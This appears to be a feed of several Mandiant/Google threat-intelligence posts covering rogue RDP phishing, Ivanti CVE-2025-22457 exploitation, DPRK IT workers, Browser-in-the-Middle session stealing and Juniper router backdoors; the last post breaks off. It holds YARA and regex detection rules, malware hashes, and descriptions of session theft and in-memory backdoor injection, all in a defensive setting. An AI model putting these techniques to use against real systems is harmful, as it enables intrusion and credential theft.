Figure 15: Live session streaming GUI (source: DEF CON Safe Mode Demo Labs - Olivier Bilodeau - PyRDP)

Recommendations for Defenders

This section focuses on collecting forensic information, hardening systems, and developing detections for RDP techniques used in the campaign.

Security detections detailed in this section are already integrated into the Google SecOps Enterprise+ platform. In addition, Google maintains similar proactive measures to protect Gmail and Google Workspace users.

Log Artifacts Default Windows Machine

During testing, limited evidence was recovered on default Windows systems after drive redirection and RemoteApp interaction. In practice, it would be difficult to distinguish between a traditional RDP connection and one with drive redirection and/or RemoteApp usage on a default Windows system. From a forensic perspective, the following patterns are of moderate interest:

Creation of the following registry key upon connection, which gives insight into attacker server address and username used:

HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_IP_Address> HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_server>\UsernameHint: "<username used for connection>"

The information contained in the Windows Event Logs (Microsoft-Windows-TerminalServices-RDPClient/Operational):

Event ID 1102: Logs attacker server IP address
Event ID 1027: Logs attacker server domain name
Event ID 1029: Logs username used to authenticate in format base64(sha256(username)).

Heightened Logging Windows Machine

With enhanced logging capabilities (e.g., Sysmon, Windows advanced audit logging, EDR), artifacts indicative of file write activity on the target system may be present. This was tested and validated using Sysmon file creation events (event ID 11).

Victim system drives can be mapped to the RDP server via RDP resource redirection, enabling both read and write operations. Tools such as PyRDP allow for crawling and downloading the entire file directory of the target system.

When files are written to the target system using RDP resource redirection, the originating process is observed to be C:\Windows\system32\mstsc.exe. A retrospective analysis of a large set of representative data consisting of enhanced logs indicates that file write events originating from mstsc.exe are a common occurrence but display a pattern that could be excluded from alerting.

For example, multiple arbitrarily named terminal server-themed .tmp files following the regex pattern _TS[A-Z0-9]{4}\.tmp (e.g., _TS4F12.tmp) are written to the user’s %APPDATA%/Local/Temp directory throughout the duration of the connection.

EventType: FileCreation Parent Process: C:\Windows\System32\mstsc.exe Target Files: --> C:\Users\Spongebob\AppData\Local\Temp\_TS1D72.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS7B73.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS36B3.tmp

Additionally, several file writes and folder creations related to the protocol occur in the %APPDATA%/Local\Microsoft\Terminal Server Client directory.

Depending upon the RDP session, excluding these protocol-specific file writes could help manage the number of events to triage and spot potentially interesting ones. It’s worth noting that the Windows system by default will delete temporary folders from the remote computer upon logoff. This does not apply to the file operations on redirected drives.

Should file read activity be enabled, mstsc.exe-originating file reads could warrant suspicion. It is worth noting that file-read events by nature are noisy due to the way the Windows subsystem operates. Caution should be taken before enabling it.

.rdp File via Email

The .rdp configuration file within the campaign was observed being sent as an email attachment. While it's not uncommon for IT administrators to send .rdp files over email, the presence of an external address in the attachment may be an indicator of compromise. The following regex patterns, when run against an organization’s file creation events, can indicate .rdp files being run directly from Outlook email attachments:

/\\AppData\\Local\\Microsoft\\Windows\$INetCache|Temporary Internet Files) \\Content\.Outlook\\[A-Z0-9]{8}\\[^\\]{1,255}\.rdp$/ /\\AppData\\Local\\Packages\\Microsoft\.Outlook_[a-zA-Z0-9]{1,50}\\.{0,120} \\[^\\]{1,80}\.rdp$/ /\\AppData\\Local\\Microsoft\\Olk\\Attachments\\([^\\]{1,50}\${0,5}[^\\] {1,80}\.rdp$/ System Hardening

The following options could assist with hardening enterprise environments against RDP attack techniques.

Network-level blocking of outgoing RDP traffic to public IP addresses
Disable resource redirection via the Registry

Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Terminal Server Client
Type: REG_DWORD
Value name: DisableDriveRedirection
Value data: 1

Configure granular RDP-policies via Group Policy

Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client

Allow .rdp files from unknown publishers: Setting this to disable will not allow users to run unsigned .rdp files as well as ones from untrusted publishers.
Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers: A way to add certificate SHA1s as trusted file publishers

Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host: Policies on enable/disabling

Resource redirection
Clipboard redirection
Forcing Network Level Authentication
Time limits for active/idle connections

Blocking .rdp file extension as email attachments

The applicability of these measures is subject to the nature of activity within a given environment and what is considered “normal” behavior.

YARA Rules

These YARA rules can be used to detect suspicious RDP configuration files that enable resource redirection and RemoteApps.

/* Detect RDP config files utilizing RemoteApp and ResourceRedirection */ rule G_Hunting_RDP_File_RemoteApp_ResourceRedir_1 { meta: author = "Google Threat Intelligence Group" description = "Detect RDP config files utilizing RemoteApp and resource redirection" strings: $rdp_param1 = "remoteapplicationmode:i:1" wide $rdp_param2 = "drivestoredirect:s:" wide $rdp_param3 = "remoteapplicationprogram:s:" wide $rdp_param4 = "remoteapplicationname:s:" wide condition: filesize < 20KB and (2 of ($rdp_param*)) } /* Detect RDP config files with a base64 LetsEncrypt certificate */ rule G_Hunting_RDP_File_LetsEncrypt_Signed_1 { meta: author = "Google Threat Intelligence Group" description = "Detects signed RDP configuration files that contain a base64 encoded LetsEncrypt certificate" strings: $rdp_param1 = "full address" wide $rdp_param2 = "redirectclipboard" wide $rdp_param3 = "remoteapplicationmode" wide $rdp_param4 = "compression" wide $rdp_param5 = "remoteapplicationexpandcmdline" wide $rdp_param6 = "promptcredentialonce" wide $rdp_param7 = "allow font smoothing" wide $rdp_param8 = "desktopheight" wide $rdp_param9 = "screen mode id" wide $rdp_param10 = "videoplaybackmode" wide $lets_encrypt_1 = "Let's Encrypt" base64wide $lets_encrypt_2 = "lencr.org" base64wide condition: filesize < 20KB and (any of ($lets_encrypt_*)) and (2 of ($rdp_param*)) } Final Thoughts

This campaign demonstrates how common tradecraft can be revitalized with alarming effectiveness through a modular approach. By combining mass emailing, resource redirection, and the creative sleight-of-hand use of RemoteApps, the actor could effectively leverage existing RDP techniques while leaving minimal forensic evidence. This combination of familiar techniques, deployed in an unconventional manner, proved remarkably effective, proving that the true danger of Rogue RDP lies not in the code, but in the con.

In this particular campaign, while control over the target system seems limited, the main capabilities revolve around file stealing, clipboard data capture, and access to environment variables. It is more likely this campaign was aimed at espionage and user manipulation during interaction. Lastly, this campaign once again underscores how readily available red teaming tools intended for education purposes are weaponized by malicious actors with harmful intentions.

Acknowledgments

Special thanks to: Van Ta, Steve Miller, Barry Vengerik, Lisa Karlsen, Andrew Thompson, Gabby Roncone, Geoff Ackerman, Nick Simonian, and Mike Stokkel.

References

CERT-UA Campaign Post
MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting)
MS-RDPERP (Remote Desktop Protocol: Remote Programs Virtual Channel Extension)
MS-RDPECLIP (Remote Desktop Protocol: Clipboard Virtual Channel Extension)
MS-RDPEFS (Remote Desktop Protocol: File System Virtual Channel Extension)
RDP Properties (Microsoft)
RDP Properties (donkz.nl)
Rogue RDP – Revisiting Initial Access Methods (Black Hills Information Security)
PyRDP GitHub

Google Threat Intelligence Group

Suspected China-Nexus Threat Actor Actively Exploiting Critical Ivanti Connect Secure Vulnerability (CVE-2025-22457)

Mandiant Threat Intelligence

4 months 2 weeks ago

Written by: John Wolfram, Michael Edie, Jacob Thompson, Matt Lin, Josh Murchie

On Thursday, April 3, 2025, Ivanti disclosed a critical security vulnerability, CVE-2025-22457, impacting Ivanti Connect Secure (“ICS”) VPN appliances version 22.7R2.5 and earlier. CVE-2025-22457 is a buffer overflow vulnerability, and successful exploitation would result in remote code execution. Mandiant and Ivanti have identified evidence of active exploitation in the wild against ICS 9.X (end of life) and 22.7R2.5 and earlier versions. Ivanti and Mandiant encourage all customers to upgrade as soon as possible.

The earliest evidence of observed CVE-2025-22457 exploitation occurred in mid-March 2025. Following successful exploitation, we observed the deployment of two newly identified malware families, the TRAILBLAZE in-memory only dropper and the BRUSHFIRE passive backdoor. Additionally, deployment of the previously reported SPAWN ecosystem of malware attributed to UNC5221 was also observed. UNC5221 is a suspected China-nexus espionage actor that we previously observed conducting zero-day exploitation of edge devices dating back to 2023.

A patch for CVE-2025-22457 was released in ICS 22.7R2.6 on February 11, 2025. The vulnerability is a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability. We assess it is likely the threat actor studied the patch for the vulnerability in ICS 22.7R2.6 and uncovered through a complicated process, it was possible to exploit 22.7R2.5 and earlier to achieve remote code execution.

Ivanti released patches for the exploited vulnerability and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Post-Exploitation Tactics, Techniques, and Procedures

Following successful exploitation, Mandiant observed the deployment of two newly identified malware families tracked as TRAILBLAZE and BRUSHFIRE through a shell script dropper. Mandiant has also observed the deployment of the SPAWN ecosystem of malware. Additionally, similar to previously observed behavior, the actor attempted to modify the Integrity Checker Tool (ICT) in an attempt to evade detection.

Shell-script Dropper

Following successful exploitation of CVE-2025-22457, Mandiant observed a shell script being leveraged that executes the TRAILBLAZE dropper. This dropper injects the BRUSHFIRE passive backdoor into a running /home/bin/web process. The first stage begins by searching for a /home/bin/web process that is a child process of another /home/bin/web process (the point of this appears to be to inject into the web process that is actually listening for connections). It then creates the the following files and associated content:

/tmp/.p: contains the PID of the /home/bin/web process.
/tmp/.m: contains a memory map of that process (human-readable).
/tmp/.w: contains the base address of the web binary from that process
/tmp/.s: contains the base address of libssl.so from that process
/tmp/.r: contains the BRUSHFIRE passive backdoor
/tmp/.i: contains the TRAILBLAZE dropper

The shell script then executes /tmp/.i, which is the second stage in-memory only dropper tracked as TRAILBLAZE. It then deletes all of the temporary files previously created (except for /tmp/.p), as well as the contents of the /data/var/cores directory. Next, all child processes of the /home/bin/web process are killed and the /tmp/.p file is deleted. All of this behavior is non-persistent, and the dropper will need to be re-executed if the system or process is rebooted.

TRAILBLAZE

TRAILBLAZE is an in-memory only dropper written in bare C that uses raw syscalls and is designed to be as minimal as possible, likely to ensure it can fit within the shell script as Base64. TRAILBLAZE injects a hook into the identified /home/bin/web process. It will then inject the BRUSHFIRE passive backdoor into a code cave inside that process.

BRUSHFIRE

BRUSHFIRE is a passive backdoor written in bare C that acts as an SSL_read hook. It first executes the original SSL_read function, and checks to see if the returned data begins with a specific string. If the data begins with the string, it will XOR decrypt then execute shellcode contained in the data. If the received shellcode returns a value, the backdoor will call SSL_write to send the value back.

SPAWNSLOTH

As detailed in our previous blog post, SPAWNSLOTH acts as a log tampering component tied to the SPAWNSNAIL backdoor. It targets the dslogserver process to disable both local logging and remote syslog forwarding.

SPAWNSNARE

SPAWNSNARE is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

SPAWNWAVE

SPAWNWAVE is an evolved version of SPAWNANT that combines capabilities from other members of the SPAWN* malware ecosystem. SPAWNWAVE overlaps with the publicly reported SPAWNCHIMERA and RESURGE malware families.

Attribution

Google Threat Intelligence Group (GTIG) attributes the exploitation of CVE-2025-22457 and the subsequent deployment of the SPAWN ecosystem of malware to the suspected China-nexus espionage actor UNC5221. GTIG has previously reported UNC5221 conducting zero-day exploitation of CVE-2025-0282, as well as the exploitation CVE-2023-46805 and CVE-2024-21887.

Furthermore, GTIG has also previously observed UNC5221 conducting zero-day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations, and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on various edge appliances.

GTIG assesses that UNC5221 will continue pursuing zero-day exploitation of edge devices based on their consistent history of success and aggressive operational tempo. Additionally, as noted in our prior blog post detailing CVE-2025-0282 exploitation, GTIG has observed UNC5221 leveraging an obfuscation network of compromised Cyberoam appliances, QNAP devices, and ASUS routers to mask their true source during intrusion operations.

Conclusion

This latest activity from UNC5221 underscores the ongoing sophisticated threats targeting edge devices globally. This campaign, exploiting the n-day vulnerability CVE-2025-22457, also highlights the persistent focus of actors like UNC5221 on edge devices, leveraging deep device knowledge and adding to their history of using both zero-day and now n-day flaws. This activity aligns with the broader strategy GTIG has observed among suspected China-nexus espionage groups who invest significantly in exploits and custom malware for critical edge infrastructure.

Recommendations

Mandiant recommends organizations immediately apply the available patch by upgrading Ivanti Connect Secure (ICS) appliances to version 22.7R2.6 or later to address CVE-2025-22457. Additionally organizations should use the external and internal Integrity Checker Tool (“ICT”) and contact Ivanti Support if suspicious activity is identified. To supplement this, defenders should actively monitor for core dumps related to the web process, investigate ICT statedump files, and conduct anomaly detection of client TLS certificates presented to the appliance.

Acknowledgements

We would like to thank Daniel Spicer and the rest of the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE, we would like to specifically thank Christopher Gardner and Dhanesh Kizhakkinan of FLARE for their support.

Indicators of Compromise

To assist the security community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family

MD5

Filename

Description

TRAILBLAZE

4628a501088c31f53b5c9ddf6788e835

/tmp/.i

In-memory dropper

BRUSHFIRE

e5192258c27e712c7acf80303e68980b

/tmp/.r

Passive backdoor

SPAWNSNARE

6e01ef1367ea81994578526b3bd331d6

/bin/dsmain

Kernel extractor & encryptor

SPAWNWAVE

ce2b6a554ae46b5eb7d79ca5e7f440da

/lib/libdsupgrade.so

Implant utility

SPAWNSLOTH

10659b392e7f5b30b375b94cae4fdca0

/tmp/.liblogblock.so

Log tampering utility

YARA Rules rule M_APT_Installer_SPAWNANT_1 { meta: author = "Mandiant" description = "Detects SPAWNANT. SPAWNANT is an Installer targeting Ivanti devices. Its purpose is to persistently install other malware from the SPAWN family (SPAWNSNAIL, SPAWNMOLE) as well as drop additional webshells on the box." strings: $s1 = "dspkginstall" ascii fullword $s2 = "vsnprintf" ascii fullword $s3 = "bom_files" ascii fullword $s4 = "do-install" ascii $s5 = "ld.so.preload" ascii $s6 = "LD_PRELOAD" ascii $s7 = "scanner.py" ascii condition: uint32(0) == 0x464c457f and 5 of ($s*) } rule M_Utility_SPAWNSNARE_1 { meta: author = "Mandiant" description = "SPAWNSNARE is a utility written in C that targets Linux systems by extracting the uncompressed Linux kernel image into a file and encrypting it with AES." strings: $s1 = "\x00extract_vmlinux\x00" $s2 = "\x00encrypt_file\x00" $s3 = "\x00decrypt_file\x00" $s4 = "\x00lbb_main\x00" $s5 = "\x00busybox\x00" $s6 = "\x00/etc/busybox.conf\x00" condition: uint32(0) == 0x464c457f and all of them } rule M_APT_Utility_SPAWNSLOTH_2 { meta: author = "Mandiant" description = "Hunting rule to identify strings found in SPAWNSLOTH" strings: $dslog = "dslogserver" ascii fullword $hook1 = "g_do_syslog_servers_exist" ascii fullword $hook2 = "ZN5DSLog4File3addEPKci" ascii fullword $hook3 = "funchook" ascii fullword condition: uint32(0) == 0x464c457f and all of them }

Mandiant

DPRK IT Workers Expanding in Scope and Scale

Mandiant Threat Intelligence

4 months 2 weeks ago

Written by: Jamie Collier

Since our September 2024 report outlining the Democratic People's Republic of Korea (DPRK) IT worker threat, the scope and scale of their operations has continued to expand. These individuals pose as legitimate remote workers to infiltrate companies and generate revenue for the regime. This places organizations that hire DPRK IT workers at risk of espionage, data theft, and disruption.

In collaboration with partners, Google Threat Intelligence Group (GTIG) has identified an increase of active operations in Europe, confirming the threat's expansion beyond the United States. This growth is coupled with evolving tactics, such as intensified extortion campaigns and the move to conduct operations within corporate virtualized infrastructure.

On The March: IT Workers Expand Globally with a Focus on Europe

DPRK IT workers' activity across multiple countries now establishes them as a global threat. While the United States remains a key target, over the past months, DPRK IT workers have encountered challenges in seeking and maintaining employment in the country. This is likely due to increased awareness of the threat through public reporting, United States Department of Justice indictments, and right-to-work verification challenges. These factors have instigated a global expansion of IT worker operations, with a notable focus on Europe.

Figure 1: List of countries impacted by DPRK IT workers

IT Worker Activity in Europe

In late 2024, one DPRK IT worker operated at least 12 personas across Europe and the United States. The IT Worker actively sought employment with multiple organizations within Europe, particularly those within the defense industrial base and government sectors. This individual demonstrated a pattern of providing fabricated references, building a rapport with job recruiters, and using additional personas they controlled to vouch for their credibility.

Separately, additional investigations uncovered other IT worker personas seeking employment in Germany and Portugal, alongside login credentials for user accounts of European job websites and human capital management platforms.

GTIG has also observed a diverse portfolio of projects in the United Kingdom undertaken by DPRK IT workers. These projects included web development, bot development, content management system (CMS) development, and blockchain technology, indicating a broad range of technical expertise, spanning traditional web development to advanced blockchain and AI applications.

Specific projects identified include:

Development of a Nodexa token hosting plan platform using Next.js, React, CosmosSDK, and Golang, as well as the creation of a job marketplace using Next.js, Tailwind CSS, MongoDB, and Node.js.
Further blockchain-related projects involved Solana and Anchor/Rust smart contract development, and a blockchain job marketplace built using the MERN stack and Solana.
Contributions to existing websites by adding pages using Next.js and Tailwind CSS,
Development of an artificial intelligence (AI) web application leveraging Electron, Next.js, AI, and blockchain technologies.

In their efforts to secure these positions, DPRK IT workers employed deceptive tactics, falsely claiming nationalities from a diverse set of countries, including Italy, Japan, Malaysia, Singapore, Ukraine, the United States, and Vietnam. The identities used were a combination of real and fabricated personas.

IT workers in Europe were recruited through various online platforms, including Upwork, Telegram, and Freelancer. Payment for their services was facilitated through cryptocurrency, the TransferWise service, and Payoneer, highlighting the use of methods that obfuscate the origin and destination of funds.

Facilitators Support European Operations

The facilitators used by IT workers to help them get jobs, defeat identity verification, and receive funds fraudulently have also been found in Europe. One incident involved a DPRK IT worker using facilitators located in both the United States and the United Kingdom. Notably, a corporate laptop, ostensibly intended for use in New York, was found to be operational in London, indicating a complex logistical chain.

An investigation into infrastructure used by a suspected facilitator also highlighted heightened interest in Europe. Resources discovered contained fabricated personas, including resumes listing degrees from Belgrade University in Serbia and residences in Slovakia, as well as instructions for navigating European job sites. Additionally, contact information for a broker specializing in false passports was discovered, indicating a coordinated effort to acquire fraudulent identification documents. One document provided specific guidance on seeking employment in Serbia, including the use of a Serbian time zone during communications.

Extortion Heating Up

Alongside global expansion, DPRK IT workers are also evolving their tactics. Based on data from multiple sources, GTIG assesses that since late October 2024, IT workers have increased the volume of extortion attempts and gone after larger organizations.

In these incidents, recently fired IT workers threatened to release their former employers’ sensitive data or to provide it to a competitor. This data included proprietary data and source code for internal projects.

The increase in extortion campaigns coincided with heightened United States law enforcement actions against DPRK IT workers, including disruptions and indictments. This suggests a potential link, where pressure on these workers may be driving them to adopt more aggressive measures to maintain their revenue stream.

Previously, workers terminated from their places of employment might attempt to provide references for their other personas so that they could be rehired by the company. It is possible that the workers suspected they were terminated due to discovery of their true identities, which would preclude attempts to be rehired.

The Virtual Workspace: BYOD Brings IT Worker Risks

To avoid distributing corporate laptops, some companies operate a bring your own device (BYOD) policy, allowing employees to access company systems through virtual machines. Unlike corporate laptops that can be monitored, personal devices operating under a BYOD policy may lack traditional security and logging tools, making it difficult to track activities and identify potential threats. This absence of conventional security measures means that typical evidence trails linked to IT workers, such as those derived from corporate laptop shipping addresses and endpoint software inventories, are unavailable. All of this increases the risk of undetected malicious activity.

GTIG believes that IT workers have identified BYOD environments as potentially ripe for their schemes, and in January 2025, IT workers are now conducting operations against their employers in these scenarios.

Conclusion

Global expansion, extortion tactics, and the use of virtualized infrastructure all highlight the adaptable strategies employed by DPRK IT workers. In response to heightened awareness of the threat within the United States, they've established a global ecosystem of fraudulent personas to enhance operational agility. Coupled with the discovery of facilitators in the UK, this suggests the rapid formation of a global infrastructure and support network that empowers their continued operations.

For detailed mitigation and detection strategies, please read our previous report on DPRK IT workers. For even more details, read our IT worker Transform post.

Google Threat Intelligence Group

BitM Up! Session Stealing in Seconds Using the Browser-in-the-Middle Technique

Mandiant Threat Intelligence

5 months ago

Written by: Truman Brown, Emily Astranova, Steven Karschnia, Jacob Paullus, Nick McClendon, Chris Higgins

Executive Summary

The Rise of Browser in the Middle (BitM): BitM attacks offer a streamlined approach, allowing attackers to quickly compromise sessions across various web applications.
MFA Remains Crucial, But Not Invulnerable: Multi-factor authentication (MFA) is a vital security measure, yet sophisticated social engineering tactics now effectively bypass it by targeting session tokens.
Strong Defenses Are Imperative: To counter these threats, organizations must implement robust defenses, including hardware-based MFA, client certificates, and FIDO2.

Social Engineering and Multi-Factor Authentication

Social engineering campaigns pose a significant threat to organizations and businesses as they capitalize on human vulnerabilities by exploiting cognitive biases and weaknesses in security awareness. During a social engineering campaign, a red team operator typically targets a victim's username and password. A common mitigation used to address these threats are security measures like multi-factor authentication (MFA).

MFA is a security measure that requires users to provide two or more methods of authentication when logging in to an account or accessing a protected resource. This makes it more difficult for unauthorized users to gain access to sensitive information even if they have obtained one of the factors, such as a password.

Red team operators have long targeted various methods of obtaining user session tokens with a high degree of success. Once a user has completed MFA and is successfully authenticated, the application typically stores a session token in the user's browser to maintain their authenticated state. Stealing this session token is the equivalent of stealing the authenticated session, meaning an adversary would no longer need to perform the MFA challenge. This makes session tokens a valuable target for adversaries and red team operators alike.

Techniques for Targeting Tokens

Red team operators can target these session tokens using a variety of tools and techniques. The most common tool is Evilginx2, a transparent proxy where a red team operator's server acts as an intermediary between the victim and the targeted service. Any HTTP requests made by the victim are captured by the phishing server and then forwarded directly to the intended website. However, before returning the responses to the victim, the server subtly modifies them by replacing any references to the legitimate domain with the phishing domain. This manipulation allows operators to not only capture the victim's login credentials from POST requests but also to extract session cookies (tokens) from the server's response headers after the victim has completed authentication and MFA prompts.

During a red team engagement, a consultant working within a constrained time frame is tasked with achieving a series of objectives that cover a broad spectrum, such as retrieving sensitive employee data (e.g., personally identifiable information [PII]) or even a complete takeover of the target's Active Directory infrastructure. The red team's mission is to simulate a real-world attack and evaluate the effectiveness of the client's security measures by exploiting vulnerabilities and employing various techniques to gain unauthorized access. It is rare for a consultant to deploy a transparent proxy targeting a custom application unique to a client due to the high degree of customization that can be involved during setup.

Transparent proxies require significant customization and configuration to work against a targeted application. This process can be time-consuming, complex, and error-prone, especially for a red team operator targeting multiple applications. Often the operator will have to fully understand the way the application handles sessions and authentication before being able to successfully target the application. Once an application has been fully reduced to a template that is usable with the chosen transparent proxy, red team operators will still need to keep the templates up to date introducing a large amount of overhead.

Dynamic Targeting with Browser in the Middle

According to MITRE, Browser in the Middle (BitM) "uses the inherent functionalities of a web browser to convince the victim they are browsing normally under the assumption that the connection is secure. All the actions performed by the victim in the open window are actually performed on the machine of the adversary." In short, this attack is similar to a victim sitting in front of an attacker's computer and signing in for them; all of the data required to authenticate to the application is now under the attacker's control.

BitM offers a number of advantages for red team operators when compared to traditional methods of stealing authenticated session tokens. A pivotal benefit of employing a BitM framework lies in its rapid targeting capability, allowing it to reach any website on the web in a matter of seconds and with minimal configuration. Once an application is targeted through a BitM tool or framework, the legitimate site is served through an attacker-controlled browser. This makes the distinction between a legitimate and a fake site exceptionally challenging for a victim. From the perspective of an adversary, BitM allows for a simple yet effective means of stealing sessions protected by MFA.

BitM Overview

Mandiant has developed an internal tool (Delusion) for performing BitM attacks, enabling an operator to target a specific application without possessing prior knowledge about the authentication protocols employed by the application.

Delusion includes a number of unique features that enable session-stealing attacks at scale:

Support for storing and downloading Firefox browser profiles, making session stealing trivial, no cookie import required
A monitor page where an operator can interact with a victim's session in real time
The ability to scale containers and automatically add them to a load balancer for large-scale phishing campaigns
Two modes of operation designed for either vishing or phishing (Manual and Automatic)
Bookmarks to simplifying deploying against multiple websites
Tagging for campaign management
Session recording for reporting purposes

Delusion was inspired by the following blog posts and research papers. Development would not have been possible without their commitment to publishing and releasing research.

https://mrd0x.com/bypass-2fa-using-novnc/
https://link.springer.com/article/10.1007/s10207-021-00548-5
https://fhlipzero.io/blogs/6_noVNC/noVNC.html

Mandiant has chosen not to publish Delusion due to weaponization concerns. If you are interested in how your application or portal performs against BitM and other session-stealing threats, check out these open source projects:

https://github.com/JoelGMSec/EvilnoVNC
https://github.com/fkasler/cuddlephish
https://github.com/kgretzky/evilginx2

BitM Session Stealing in Action

BitM is well suited for targeting applications that allow for initial access to privileged networks or environments through Virtual Desktop Infrastructure (VDI). BitM makes deploying session-stealing infrastructure against any publicly exposed infrastructure very easy. Targeting a login portal is as simple as specifying the portal information and clicking "Deploy", as shown in Figure 1. Figure 2 shows the view of an operator during an engagement. An operator can view any actions taken on the phishing site in real time. Figure 3 shows the view of a victim authenticating through the phishing site. Figure 4 shows an example of a captured session; despite there being no cookies, the browser profile will still contain everything used by the application to maintain the authenticated state. Figure 5 shows the downloaded browser profile being opened and the session being resumed.

Figure 1: Deploying the victim container

Figure 2: Monitoring the victim container

Figure 3: Victim authenticating to app

Figure 4: Captured session and keylogger output

Figure 5: Using the captured Firefox session

Figure 6: Browser-in-the-Middle attack flow

Figure 6 shows a typical attack scenario where a victim is lured to a malicious website through a phone call, text message or email (1). Upon visiting the site given by the operator, the victim's connection is routed through a load balancer to an available proxied browser (2). The victim unknowingly interacts with the proxied browser, entering their credentials, including any MFA tokens (3). Once the attacker observes a successful login, the victim is disconnected from the proxied browser, and their session is compromised (4).

Defense Considerations

To defend against such attacks, organizations can adopt the following strategies. Requiring client certificates for authentication can deter BitM attacks, as these certificates are typically bound to specific devices and cannot be easily manipulated by attackers. Similarly, hardware-based MFA solutions like FIDO2 compatible security keys offer strong protection against BitM. Figure 7 depicts a typical FIDO2 authentication flow.

Figure 7: FIDO2 authentication flow

FIDO2 and/or certificate-based authentication halts an attack scenario, as shown in Figure 8. The attacker's browser is attempting to steal a session from the legitimate site. The attacker's site requests a page from the website it is trying to steal a session from. The website requires a FIDO2 key or certificate to authenticate, and the attacker's site does not have one. Although the attacker's site mirrors the legitimate site's screen so it can trick a possible victim into authenticating for them, the attacker does not have a key or certificate, thus they cannot proceed and the authentication fails. Furthermore, the FIDO2 protocol ensures the BitM cannot successfully replay the FIDO2 response from the real user, as the browser on the user's machine would ensure the responses are immutably tied to the request's origin (i.e., the attacker site cannot request a FIDO2 response to a different target website).

Figure 8: FIDO2 and certificate-based authentication with BitM

There are some caveats with the aforementioned scenario that are important to point out. Certificate-based authentication and FIDO2 security keys only protect sessions when the device they are hosted on is not compromised. It is possible to compromise sessions, and even phish sessions, that are protected with FIDO2 security keys and certificates if you are able to compromise the device they are connected to. This should underscore the importance of a layered security approach with all applications that host sensitive data or provide access to restricted networks.

Conclusion

The threat of BitM attacks emphasizes the importance of robust authentication and access-control mechanisms. By adopting a multi-layered defense strategy incorporating client certificates, hardware-based MFA solutions such as FIDO2-compatible security keys, and compensating controls, organizations can significantly enhance their resilience against these sophisticated threats. The integration of security keys into this defense strategy provides a particularly effective safeguard against session stealing, offering users a tangible and reliable way to protect their online identities and sensitive data.

Acknowledgements

A very special thanks to everyone who contributed to this project's early and continued development. This blog post was made possible by Chris King, Evan Peña, Jerry McClurg, and Jeff Hoffmann.

Mandiant

Ghost in the Router: China-Nexus Espionage Actor UNC3886 Targets Juniper Routers

Mandiant Threat Intelligence

5 months 1 week ago

Written by: Lukasz Lamparski, Punsaen Boonyakarn, Shawn Chew, Frank Tse, Jakub Jozwiak, Mathew Potaczek, Logeswaran Nadarajan, Nick Harbour, Mustafa Nasser

Introduction

In mid 2024, Mandiant discovered threat actors deployed custom backdoors on Juniper Networks’ Junos OS routers. Mandiant attributed these backdoors to the China-nexus espionage group, UNC3886. Mandiant uncovered several TINYSHELL-based backdoors operating on Juniper Networks’ Junos OS routers. The backdoors had varying custom capabilities, including active and passive backdoor functions, as well as an embedded script that disables logging mechanisms on the target device.

Mandiant worked with Juniper Networks to investigate this activity and observed that the affected Juniper MX routers were running end-of-life hardware and software. Mandiant recommends that organizations upgrade their Juniper devices to the latest images released by Juniper Networks, which includes mitigations and updated signatures for the Juniper Malware Removal Tool (JMRT). Organizations should run the JMRT Quick Scan and Integrity Check after the upgrade. Juniper also released an advisory about this incident.

Mandiant has reported on similar custom malware ecosystems in 2022 and 2023 that UNC3886 deployed on virtualization technologies and network edge devices. This blog post showcases a development in UNC3886’s tactics, techniques and procedures (TTPs), and their focus on malware and capabilities that enable them to operate on network and edge devices, which typically lack security monitoring and detection solutions, such as endpoint detection and response (EDR) agents.

Mandiant previously reported on UNC3886's emphasis on techniques to gather and use legitimate credentials to move laterally within a network, undetected. These objectives remained consistent but were pursued with the introduction of a new tool in 2024. Observations in this blog post strengthen our assessment that the actor’s focus is on maintaining long-term access to victim networks. UNC3886 continues to show a deep understanding of the underlying technology of the appliances being targeted.

At the time of writing, Mandiant has not identified any technical overlaps between activities detailed in this blog post and those publicly reported by other parties as Volt Typhoon or Salt Typhoon.

Attribution

UNC3886 is a highly adept China-nexus cyber espionage group that has historically targeted network devices and virtualization technologies with zero-day exploits. UNC3886 interests seem to be focused mainly on defense, technology, and telecommunication organizations located in the US and Asia. The activity described in this blog post is the latest in a number of operations where UNC3886 has leveraged custom malware to target network devices. The malware deployed on Juniper Networks’ Junos OS routers demonstrates that UNC3886 has in-depth knowledge of advanced system internals. Furthermore, UNC3886 continues to prioritize stealth in its operations through the use of passive backdoors, together with log and forensics artifact tampering, indicating a focus on long-term persistence, while minimizing the risk of detection.

Junos OS

Juniper Networks Junos OS is a proprietary operating system that powers most Juniper routing, switching, and security devices. It is based on a modified FreeBSD operating system. Junos OS supports 2 different modes of operations:

CLI mode: where standard Junos OS CLI commands can be issued
Shell mode: a user with shell access privileges can access an underlying FreeBSD shell and issue standard FreeBSD commands.

Malware identified in this blog post primarily relies on access to the csh shell, but in some cases it is also aware of higher layers.

Veriexec

Junos OS incorporates a Verified Exec (veriexec) subsystem, which is a modified version of an original NetBSD Veriexec Subsystem. Veriexec is a kernel-based file integrity subsystem that protects the Junos OS operating system (OS) against unauthorized code including binaries, libraries, and scripts and activity that might compromise the integrity of the device. To run malware, the threat actor first needed to bypass veriexec protection.

